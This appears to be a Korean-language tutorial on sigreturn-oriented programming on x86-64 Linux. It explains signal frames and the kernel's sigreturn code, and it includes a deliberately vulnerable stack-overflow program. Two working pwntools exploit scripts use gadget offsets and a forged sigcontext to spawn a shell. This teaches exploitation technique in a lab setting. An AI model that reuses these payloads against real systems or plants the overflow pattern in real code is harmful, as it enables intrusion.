Excuse the ads! We need some help to keep our site up.
List
SROP(Sigreturn-oriented programming)
- SROP는 sigreturn 시스템 콜을 이용하여 레지스터에 원하는 값을 저장할 수 있습니다.
- 해당 기법을 이용하여 원하는 시스템 함수를 호출할 수 있습니다.
Signal & Signal handler
- x86과 x64의 Signal & Signal handler 동작은 동일합니다.
Example code
//gcc -g -o sig64 sig.c #include <stdio.h> #include <signal.h> struct sigcontext sigcontext; void handle_signal(int signum){ printf("Signal number: %d\n", signum); } int main(){ signal(SIGINT, (void *)handle_signal); while(1) {} return 0; }
Debugging
- 다음과 같이 handle_signal 함수에 Break point를 설정합니다.
- 그리고 GDB가 인트럽트에 반응하지 않도록 설정합니다.
lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./sig64 Reading symbols from ./sig64...done. gdb-peda$ b handle_signal Breakpoint 1 at 0x400571: file sig.c, line 8. gdb-peda$ handle SIGINT nostop pass Signal Stop Print Pass to program Description SIGINT No Yes Yes Interrupt gdb-peda$
- 다음과 같이 프로그램을 실행 후 "Ctrl + C"를 눌러서 Interrupt 신호를 발생시킵니다.
- bt명령어를 이용해 handle_signal 함수가 호출되지 전에 실행된 함수 목록을 확인 할 수 있습니다.
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/SROP/sig64 ^C Program received signal SIGINT, Interrupt. Breakpoint 1, handle_signal (signum=0x2) at sig.c:8 8 printf("Signal number: %d\n", signum); gdb-peda$ bt #0 handle_signal (signum=0x2) at sig.c:8 #1 <signal handler called> #2 main () at sig.c:13 #3 0x00007ffff7a2d830 in __libc_start_main (main=0x400588 <main>, argc=0x1, argv=0x7fffffffe588, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe578) at ../csu/libc-start.c:291 #4 0x0000000000400499 in _start () gdb-peda$
- 다음과 같이 0번째 Frame에서 Stack에 저장된 각 각의 레지스터 값을 확인 할 수 있습니다.
gdb-peda$ frame 0 #0 handle_signal (signum=0x2) at sig.c:8 8 printf("Signal number: %d\n", signum); gdb-peda$ p ((struct sigcontext *)($rbp + 7 * 8))->rax $1 = 0x0 gdb-peda$ p ((struct sigcontext *)($rbp + 7 * 8))->rsp $2 = 0x7fffffffe4a0 gdb-peda$ p ((struct sigcontext *)($rbp + 7 * 8))->rip $3 = 0x40059b gdb-peda$
- 다음과 같이 1번째 Frame의 내용을 보면 __restore_rt() 함수에서 rt_sigreturn() 시스템 함수 호출합니다.
- x64에서 sigreturn 시스템 함수의 번호는 0xf(15) 입니다.
- x64에서 sigreturn 시스템 함수의 번호는 0xf(15) 입니다.
gdb-peda$ frame 1 #1 <signal handler called> gdb-peda$ x/2i $rip => 0x7ffff7a424b0 <__restore_rt>: mov rax,0xf 0x7ffff7a424b7 <__restore_rt+7>: syscall gdb-peda$
- 다음과 같이 signal에 대한 처리가 끝난 후에 Frame 0의 Stack에 저장된 값이 레지스터에 저장된 것을 확인 할 수 있습니다.
gdb-peda$ b 13 Breakpoint 2 at 0x40059b: file sig.c, line 13. gdb-peda$ c Continuing. Signal number: 2 Breakpoint 2, main () at sig.c:13 13 while(1) {} gdb-peda$ i r rax 0x0 0x0 rbx 0x0 0x0 rcx 0x0 0x0 rdx 0x0 0x0 rsi 0x2f2f2f2f2f2f2f2f 0x2f2f2f2f2f2f2f2f rdi 0x2 0x2 rbp 0x7fffffffe4a0 0x7fffffffe4a0 rsp 0x7fffffffe4a0 0x7fffffffe4a0 r8 0x7fffffffe3f0 0x7fffffffe3f0 r9 0x0 0x0 r10 0x8 0x8 r11 0x206 0x206 r12 0x400470 0x400470 r13 0x7fffffffe580 0x7fffffffe580 r14 0x0 0x0 r15 0x0 0x0 rip 0x40059b 0x40059b <main+19> eflags 0x202 [ IF ] cs 0x33 0x33 ss 0x2b 0x2b ds 0x0 0x0 es 0x0 0x0 fs 0x0 0x0 gs 0x0 0x0 gdb-peda$
sigreturn()
- sigreturn() 시스템 함수는 Signal을 처리하는 프로세스가 Kernel Mode에서 User Mode 돌아 올때 stack을 복원하기 위해 사용되는 함수 입니다.
- sigreturn() 함수는 stack을 복원하기 위해 restore_sigcontext()를 호출합니다.
asmlinkage long sys_rt_sigreturn(void){ struct pt_regs *regs = current_pt_regs(); struct rt_sigframe __user *frame; ... if (restore_sigcontext(regs, &frame->uc.uc_mcontext, uc_flags)) goto badframe; ... }
- restore_sigcontext() 함수는 COPY_SEG(), COPY() 함수 등 을 이용하여 stack에 저장된 값을 각 레지스터에 복사합니다.
즉, ROP와 같이 값을 레지스터에 저장할 수 있는 Gadget이 없어도 sigreturn() 함수를 이용해 각 레지스터에 원하는 값을 저장할 수 있습니다.
static int restore_sigcontext(struct pt_regs *regs, struct sigcontext __user *sc, unsigned long uc_flags){ ... #ifdef CONFIG_X86_64 COPY(r8); COPY(r9); COPY(r10); COPY(r11); COPY(r12); COPY(r13); COPY(r14); COPY(r15); #endif /* CONFIG_X86_64 */ COPY_SEG_CPL3(cs); COPY_SEG_CPL3(ss); #ifdef CONFIG_X86_64 /* * Fix up SS if needed for the benefit of old DOSEMU and * CRIU. */ if (unlikely(!(uc_flags & UC_STRICT_RESTORE_SS) && user_64bit_mode(regs))) force_valid_ss(regs); #endif ... }
- x64의 경우 stack에 저장된 레지스터 값들은 restore_sigcontext()함수의 인자값 &frame->uc.uc_mcontext에 의해 전달됩니다.
struct rt_sigframe_x32 { u64 pretcode; struct ucontext_x32 uc; compat_siginfo_t info; /* fp state follows here */ };
struct ucontext_x32 { unsigned int uc_flags; unsigned int uc_link; compat_stack_t uc_stack; unsigned int uc__pad0; /* needed for alignment */ struct sigcontext uc_mcontext; /* the 64-bit sigcontext type */ compat_sigset_t uc_sigmask; /* mask last for extensibility */ };
- x64이기 때문에 사용되는 레지스터가 다르며, sigcontext 구조체의 형태도 조금 다릅니다.
# else /* __x86_64__: */ struct sigcontext { __u64 r8; __u64 r9; __u64 r10; __u64 r11; __u64 r12; __u64 r13; __u64 r14; __u64 r15; __u64 rdi; __u64 rsi; __u64 rbp; __u64 rbx; __u64 rdx; __u64 rax; __u64 rcx; __u64 rsp; __u64 rip; __u64 eflags; /* RFLAGS */ __u16 cs; __u16 gs; __u16 fs; union { __u16 ss; /* If UC_SIGCONTEXT_SS */ __u16 __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */ }; __u64 err; __u64 trapno; __u64 oldmask; __u64 cr2; struct _fpstate __user *fpstate; /* Zero when no FPU context */ # ifdef __ILP32__ __u32 __fpstate_pad; # endif __u64 reserved1[8]; };
Proof of concept
Example code
//gcc -fno-stack-protector -o srop64 srop64.c -ldl #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> void vuln(){ char buf[50]; void (*printf_addr)() = dlsym(RTLD_NEXT, "printf"); printf("Printf() address : %p\n",printf_addr); read(0, buf, 512); } void main(){ seteuid(getuid()); write(1,"Hello SROP\n",10); vuln(); }
Overflow
- 다음과 같이 Breakpoints를 설정합니다.
0x400756: vuln 함수 코드 첫부분
0x40079a: read() 함수 호출 전
lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./srop64 Reading symbols from ./srop64...(no debugging symbols found)...done. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x0000000000400756 <+0>: push rbp 0x0000000000400757 <+1>: mov rbp,rsp 0x000000000040075a <+4>: sub rsp,0x40 0x000000000040075e <+8>: mov esi,0x400864 0x0000000000400763 <+13>: mov rdi,0xffffffffffffffff 0x000000000040076a <+20>: call 0x400630 <dlsym@plt> 0x000000000040076f <+25>: mov QWORD PTR [rbp-0x8],rax 0x0000000000400773 <+29>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000400777 <+33>: mov rsi,rax 0x000000000040077a <+36>: mov edi,0x40086b 0x000000000040077f <+41>: mov eax,0x0 0x0000000000400784 <+46>: call 0x400600 <printf@plt> 0x0000000000400789 <+51>: lea rax,[rbp-0x40] 0x000000000040078d <+55>: mov edx,0x200 0x0000000000400792 <+60>: mov rsi,rax 0x0000000000400795 <+63>: mov edi,0x0 0x000000000040079a <+68>: call 0x400610 <read@plt> 0x000000000040079f <+73>: nop 0x00000000004007a0 <+74>: leave 0x00000000004007a1 <+75>: ret End of assembler dump. gdb-peda$ b *0x0000000000400756 Breakpoint 1 at 0x400756 gdb-peda$ b *0x000000000040079a Breakpoint 2 at 0x40079a gdb-peda$
다음과 같이 Overflow를 확인할 수 있습니다.
Return address(0x7fffffffe498) - buf 변수의 시작 주소 (0x7fffffffe450) = 72
즉, 72개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있습니다.
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/SROP/srop64 Hello SROP Breakpoint 1, 0x0000000000400756 in vuln () gdb-peda$ i r rsp rsp 0x7fffffffe498 0x7fffffffe498 gdb-peda$ x/gx 0x7fffffffe498 0x7fffffffe498: 0x00000000004007d0 gdb-peda$ x/i 0x00000000004007d0 0x4007d0 <main+46>: nop gdb-peda$ c Continuing. Printf() address : 0x7ffff785e800 Breakpoint 2, 0x000000000040079a in vuln () gdb-peda$ i r rsi rsi 0x7fffffffe450 0x7fffffffe450 gdb-peda$ p/d 0x7fffffffe498 - 0x7fffffffe450 $1 = 72 gdb-peda$
Exploit method
- SROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
sigreturn()함수를 이용해 레지스터에 필요한 값을 저장
- RSP : sigreturn() 함수 호출 후 이동할 주소("int 0x80" 명령어가 저장된 주소)
- RDI : "/bin/sh" 문자열이 저장된 주소
- RAX : execve() 함수의 시스템 콜 번호
- RIP : "int 0x80" 명령어가 저장된 주소
- CS : User Code(0x33)
- SS : User Data / Stack(0x2b)
- int 0x80 명령어 실행
- 이를 코드로 표현하면 다음과 같습니다.
sigreturn() int 0x80
- payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
- Libc offset
- printf
- "pop rax; ret"
- "syscall"
"/bin/sh"명령가 저장된 영역
Gadgets
int 0x80
Libc offset
- 다음과 같이 필요한 offset을 확인 할 수 있습니다.
libc offset : printf(0x7ffff785e800) - libc base(0x7ffff7809000) = 0x55800
"/bin/sh" offset : "/bin/sh" address(0x7ffff7995d57) - libc base(0x7ffff7809000) = 0x18cd57
gdb-peda$ vmmap Start End Perm Name ... 0x00007ffff7809000 0x00007ffff79c9000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff79c9000 0x00007ffff7bc9000 ---p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7bc9000 0x00007ffff7bcd000 r--p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7bcd000 0x00007ffff7bcf000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so ... gdb-peda$ p printf $2 = {<text variable, no debug info>} 0x7ffff785e800 <__printf> gdb-peda$ p/x 0x7ffff785e800 - 0x00007ffff7809000 $3 = 0x55800 gdb-peda$ find "/bin/sh" Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc : 0x7ffff7995d57 --> 0x68732f6e69622f ('/bin/sh') gdb-peda$ p/x 0x7ffff7995d57 - 0x00007ffff7809000 $4 = 0x18cd57 gdb-peda$
Find Gadgets
- 다음과 같이 libc 파일에서 필요한 가젯을 찾을 수 있습니다.
- 해당 Exploit code에서 사용할 "pop rax ; ret" Gadget의 주소는 0x33544 입니다.
lazenca0x0@ubuntu:~/Exploit/SROP$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1 | grep "pop rax" 0x00074c47: pop rax ; call qword [r12+0x30] ; (1 found) 0x000743ff: pop rax ; call qword [r13+0x30] ; (1 found) 0x00184d32: pop rax ; call qword [rdi+0x4656EE7E] ; (1 found) 0x00135a34: pop rax ; call rax ; (1 found) 0x00135876: pop rax ; jmp rcx ; (1 found) 0x00033544: pop rax ; ret ; (1 found) 0x0003a727: pop rax ; ret ; (1 found) 0x0003a728: pop rax ; ret ; (1 found) 0x0003a7f7: pop rax ; ret ; (1 found) 0x0003a7f8: pop rax ; ret ; (1 found) 0x0003a8a0: pop rax ; ret ; (1 found) 0x0003a8a1: pop rax ; ret ; (1 found) 0x000abc07: pop rax ; ret ; (1 found) 0x00106272: pop rax ; ret ; (1 found) 0x00106273: pop rax ; ret ; (1 found) 0x001a1448: pop rax ; ret ; (1 found) 0x000caabc: pop rax ; retn 0x002F ; (1 found) lazenca0x0@ubuntu:~/Exploit/SROP$
해당 Exploit code에서 사용할 "syscall ; ret" Gadget의 주소는 0xbc375 입니다.
lazenca0x0@ubuntu:~/Exploit/SROP$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1 | grep "syscall ; ret" 0x000bc375: syscall ; ret ; (1 found) 0x000cd235: syscall ; ret ; (1 found) 0x000cd245: syscall ; ret ; (1 found) 0x000cd255: syscall ; ret ; (1 found) 0x000cd265: syscall ; ret ; (1 found) 0x000cd275: syscall ; ret ; (1 found) 0x000cd485: syscall ; ret ; (1 found) 0x000f6ed5: syscall ; ret ; (1 found) 0x001077f5: syscall ; ret ; (1 found) 0x00122198: syscall ; ret ; (1 found) lazenca0x0@ubuntu:~/Exploit/SROP$
Find Gadgets - (syscall & return)
- 기본적으로 다음과 같이 해당 Memory Map에서 필요한 Gadgets을 찾을 수 있습니다.
OS | ASLR | Gadget | Memory Map | Fixed Memory Location |
---|---|---|---|---|
Linux i386 | sigreturn | [vdso] | ||
Linux x86-64 | sigreturn | Libc | ||
Linux < 3.3 x86-64 | syscall & return | [vsyscall] | 0xffffffffff600000 | |
Linux ≥ 3.3 x86-64 | syscall & return | Libc | ||
FreeBSD 9.2 x86-64 | sigreturn | 0x7ffffffff000 | ||
Mac OSX x86-64 | sigreturn | Libc | ||
iOS ARM | sigreturn | Libsystem | ||
iOS ARM | syscall & return | Libsystem | ||
Linux < 3.11 ARM | sigreturn | [vectors] | 0xffff0000 |
- 빌드된 x64 파일의 리눅스 커널 버전이 3.3 이하일 경우 아래와 같이 vsyscall 영역에서 "syscall & return" 명령어를 찾을 수 있습니다.
lazenca0x0@ubuntu:~/Exploit/SROP$ readelf --notes ./srop64 Displaying notes found at file offset 0x00000254 with length 0x00000020: Owner Data size Description GNU 0x00000010 NT_GNU_ABI_TAG (ABI version tag) OS: Linux, ABI: 2.6.32 Displaying notes found at file offset 0x00000274 with length 0x00000024: Owner Data size Description GNU 0x00000014 NT_GNU_BUILD_ID (unique build ID bitstring) Build ID: 8bc6a6d7b9f016893a86290ec9ed1b41769e9cfc lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./srop64 gdb-peda$ b *0x0000000000400756 Breakpoint 1 at 0x400756 gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/SROP/srop64 Hello SROP Breakpoint 1, 0x0000000000400756 in vuln () gdb-peda$ vmmap Start End Perm Name ... 0x00007ffffffde000 0x00007ffffffff000 rw-p [stack] 0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall] gdb-peda$ x/3i 0xffffffffff600000 0xffffffffff600000: mov rax,0x60 0xffffffffff600007: syscall 0xffffffffff600009: ret gdb-peda$
- 하지만 해당 Gadget을 이용하여 시스템 함수를 호출하면 Error가 발행합니다.
- 이는 Kernel의 Boot option중 "vsyscall"의 값이 "emulate"으로 설정되어 있기 때문입니다.
- 해당 옵션이 Native 로 설정되어 있다면 사용가능합니다.
lazenca0x0@ubuntu:~/Exploit/SROP$ cat /usr/src/linux-headers-$(uname -r)/.config | grep VSYSCALL CONFIG_GENERIC_TIME_VSYSCALL=y CONFIG_X86_VSYSCALL_EMULATION=y # CONFIG_LEGACY_VSYSCALL_NATIVE is not set CONFIG_LEGACY_VSYSCALL_EMULATE=y # CONFIG_LEGACY_VSYSCALL_NONE is not set lazenca0x0@ubuntu:~/Exploit/SROP$
CS(Code segment) & SS(Stack Segment)
- x64의 경우 Kernel Code, User Code의 값이 x86과 다릅니다.
Purpose | Segment |
---|---|
Kernel Code | 0x10 |
Kernel Data / Stack | 0x18 |
User Code | 0x33 |
User Data / Stack | 0x2b |
Exploit code
- 다음과 같이 Exploit code를 작성 할 수 있습니다.
from pwn import * binary = ELF('./srop64') p = process(binary.path) p.recvuntil('Printf() address : ') stackAddr = p.recvuntil('\n') stackAddr = int(stackAddr,16) libcBase = stackAddr - 0x55800 syscall = libcBase + 0xbc375 #syscall = 0xffffffffff600007 binsh = libcBase + 0x18cd57 poprax = libcBase + 0x33544 print 'The base address of Libc : ' + hex(libcBase) print 'Address of syscall gadget : ' + hex(syscall) print 'Address of string "/bin/sh" : ' + hex(binsh) print 'Address of poprax gadget : ' + hex(poprax) exploit = '' exploit += "\x90" * 72 exploit += p64(poprax) exploit += p64(0xf) exploit += p64(syscall) #ucontext exploit += p64(0x0) * 5 #sigcontext exploit += p64(0x0) #R8 exploit += p64(0x0) #R9 exploit += p64(0x0) #R10 exploit += p64(0x0) #R11 exploit += p64(0x0) #R12 exploit += p64(0x0) #R13 exploit += p64(0x0) #R14 exploit += p64(0x0) #R15 exploit += p64(binsh) #RDI exploit += p64(0x0) #RSI exploit += p64(0x0) #RBP exploit += p64(0x0) #RBX exploit += p64(0x0) #RDX exploit += p64(0x3b) #RAX exploit += p64(0x0) #RCX exploit += p64(syscall) #RSP exploit += p64(syscall) #RIP exploit += p64(0x0) #eflags exploit += p64(0x33) #cs exploit += p64(0x0) #gs exploit += p64(0x0) #fs exploit += p64(0x2b) #ss p.send(exploit) p.interactive()
lazenca0x0@ubuntu:~/Exploit$ python srop64.py [*] '/home/lazenca0x0/Exploit/SROP/srop64' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process '/home/lazenca0x0/Exploit/SROP/srop64': pid 17771 The base address of Libc : 0x7f9cb1ae2000 Address of syscall gadget : 0x7f9cb1b9d945 Address of string "/bin/sh" : 0x7f9cb1c6e58b Address of poprax gadget : 0x7f9cb1b1c718 [*] Switching to interactive mode $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $
- pwntools를 이용해 조금더 편하게 코드를 작성할 수 있습니다.
from pwn import * context.arch = "amd64" binary = ELF('./srop64') p = process(binary.path) p.recvuntil('Printf() address : ') stackAddr = p.recvuntil('\n') stackAddr = int(stackAddr,16) libcBase = stackAddr - 0x55800 syscall = libcBase + 0xbc375 binsh = libcBase + 0x18cd57 poprax = libcBase + 0x33544 print 'The base address of Libc : ' + hex(libcBase) print 'Address of syscall gadget : ' + hex(syscall) print 'Address of string "/bin/sh" : ' + hex(binsh) print 'Address of poprax gadget : ' + hex(poprax) exploit = '' exploit += "\x90" * 72 exploit += p64(poprax) exploit += p64(0xf) exploit += p64(syscall) frame = SigreturnFrame(arch="amd64") frame.rax = constants.SYS_execve frame.rdi = binsh frame.rsp = syscall frame.rip = syscall exploit += str(frame) p.send(exploit) p.interactive()
lazenca0x0@ubuntu:~/Exploit/SROP$ python srop64-pwn.py [*] '/home/lazenca0x0/Exploit/srop64' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process '/home/lazenca0x0/Exploit/SROP/srop64': pid 17757 The base address of Libc : 0x7f36d0719000 Address of syscall gadget : 0x7f36d07d4945 Address of string "/bin/sh" : 0x7f36d08a558b Address of poprax gadget : 0x7f36d0753718 [*] Switching to interactive mode $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $
Related site
- http://egloos.zum.com/studyfoss/v/5182475
- http://docs.pwntools.com/en/stable/rop/srop.html
- http://www.freebuf.com/articles/network/87447.html
- http://blog.leanote.com/post/3191220142@qq.com/SROP
- http://blackbunny.io/x64-sigreturn-oriented-programming/
- https://en.wikipedia.org/wiki/Sigreturn-oriented_programming
- https://books.google.co.jp/books?id=h0lltXyJ8aIC&dq=setup_frame&hl=ko&source=gbs_navlinks_s
- https://thisissecurity.stormshield.com/2015/01/03/playing-with-signals-an-overview-on-sigreturn-oriented-programming/